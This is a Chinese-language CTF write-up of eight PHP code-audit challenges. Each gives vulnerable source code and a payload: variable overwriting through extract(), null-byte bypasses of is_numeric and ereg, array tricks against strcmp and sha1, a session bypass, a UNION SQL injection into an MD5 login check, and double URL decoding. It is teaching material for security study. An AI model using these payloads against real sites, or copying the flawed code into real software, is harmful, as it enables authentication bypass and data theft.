CTF整理的代码审计题,针对一些函数的缺陷
0x01 extract变量覆盖
源代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'ctf{xxx}';
}
else
{
echo'Oh.no';
}
}
extract()函数会引起变量覆盖漏洞,该函数可将数组中的变量引入符号表,
附上payload:1
?shiyan=&flag=1
关键代码:1
2extract($_GET);
$content=trim(file_get_contents($flag));
传入参数为:array(‘shiyan’=>’’;’flag’=’1’);
file_get_contents()读取文件内容,其参数值为一完整文件路径,由于flag=1,所以最终的$content=null,而$shiyan=null,所以获取flag
0x02 绕过过滤的空白字符
源代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
$info = "";
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告
if(!isset($_GET['number'])){
header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
die("have a fun!!"); //die — 等同于 exit()
}
foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组的简单方式
foreach($global_var as $key => $value) {
$value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)
is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
}
}
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串
{
$info="sorry, you cann't input a number!";
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{
$info = "number must be equal to it's integer!! ";
}
else
{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}
else
{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}
else
{
$info=$flag;
}
}
}
echo $info;
payload:1
?number=0e-0%00
审计代码逻辑可想到flag.
0x03 ereg()正则绕过
源代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$flag = "flag";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
```
ereg() 在php5.2版本以后被preg_match()取代
ereg()函数的缺陷在于可使用%00绕过。关键代码:
```php
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
...
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
...
}
}
所以payload为:1
?password=1e8%00*-*
0x04 strcmp()绕过
源代码:1
2
3
4
5
6
7
8
9
10
11
12
$flag = "flag";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
strcmp()无法处理非字符串以外的数据,所以可以通过数组进行绕过,payload为:1
?a[]=1
0x05 sha()绕过
源代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else
echo '<p>Login first!</p>';
同样,该函数存在缺陷,无法处理非字符串以外的数据,payload:1
?name[]=1&password[]=2
0x06 session()验证绕过
源代码:1
2
3
4
5
6
7
8
9
10
11
12
13
$flag = "flag";
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
个人觉得这道题,解法挺迷的,由于题目的特殊性,关键代码在于:1
if ($_GET['password'] == $_SESSION['password'])
通过burp抓包,然后修改session和password,使其均为null,就可绕过验证。
0x07 md5()密码比较绕过
源代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//配置数据库
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("******** ", "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed:" . mysql_error($conn));
}
//赋值
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
//如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
个人认为这道题可以好好学习一下,关键代码如下:1
if (($row[pw]) && (!strcasecmp($pass, $row[pw])))
其中row[pw]是数据库返回的数据,$pass是我们输入的数据MD5加密后的结果。
这里附上payload:1
?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
首先这个查询语句,我觉得应该学习一下,通过这个查询方式,可以返回我们所需要的信息。
其中$row[pw]=e10adc3949ba59abbe56e057f20f883e,md5(pass)=e10adc3949ba59abbe56e057f20f883e
符合逻辑,返回flag.
0x08
源代码:1
2
3
4
5
6
7
8
9
10
11
12
13
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
这里有一个问题就是,当你输入一个url,时,php将会对url进行一次解码
比如
然后urldecode()会对此进行二次解码,
所以我们构造payload如下:1
?id=id=%2568ackerDJ
其中%25=>%,第一次解码后为%68ackerDJ,然后urldecode()再次解码为hackerDJ,符合代码逻辑,返回flag.